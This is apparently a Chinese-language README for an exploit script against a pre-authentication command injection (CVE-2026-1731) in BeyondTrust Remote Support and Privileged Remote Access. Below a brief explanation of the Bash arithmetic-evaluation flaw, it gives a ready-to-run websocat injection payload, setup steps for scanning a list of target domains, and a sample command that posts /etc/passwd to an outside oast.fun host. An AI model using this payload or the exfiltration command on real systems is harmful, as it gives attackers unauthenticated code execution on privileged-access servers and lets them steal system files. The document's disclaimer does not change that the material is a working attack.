[!WARNING] 此脚本仅供教育和研究目的。未经明确许可,请勿将其用于任何系统。未经授权的访问或测试是非法且不道德的。使用此脚本前请阅读完整的免责声明。
此脚本演示了一个影响BeyondTrust Remote Support (RS) 和 Privileged Remote Access (PRA) 的严重命令注入漏洞(CVE-2026-1731)。该问题源于与之前高调披露的 CVE-2024-12356 相同的 WebSocket 可达端点,因此是紧密相关的变体。
该漏洞的存在是因为服务器的 thin-scc-wrapper 脚本对攻击者控制的输入执行算术比较,特别是 WebSocket 握手期间发送的 remoteVersion 值。Bash 将数值比较中的操作数视为表达式,而非纯字符串,这使得精心构造的载荷(如 a[$(cmd)]0)能够在求值过程中触发任意命令执行。
尽管 BeyondTrust 在此补丁周期中添加了数字健全性检查,但并未阻止 Bash 后续进行表达式求值,因此该端点仍然可利用。攻击者只需打开 WebSocket 连接,在认证前发送恶意版本值,即可获得代码执行权限。
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(将其放在与 Python 脚本相同的文件夹中。)
或移动到系统级:
sudo mv websocat /usr/local/bin/
domains.txt添加您想测试的 URL:
example1.com
example2.com
example3.com
编辑脚本中的以下行,以配置您希望 WebSocket 漏洞执行的命令:
CMD = "YOUR-COMMAND-HERE"
例如:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
设置好命令后,运行脚本:
python3 exploit.py
或使其可执行并直接运行:
chmod +x exploit.py
./exploit.py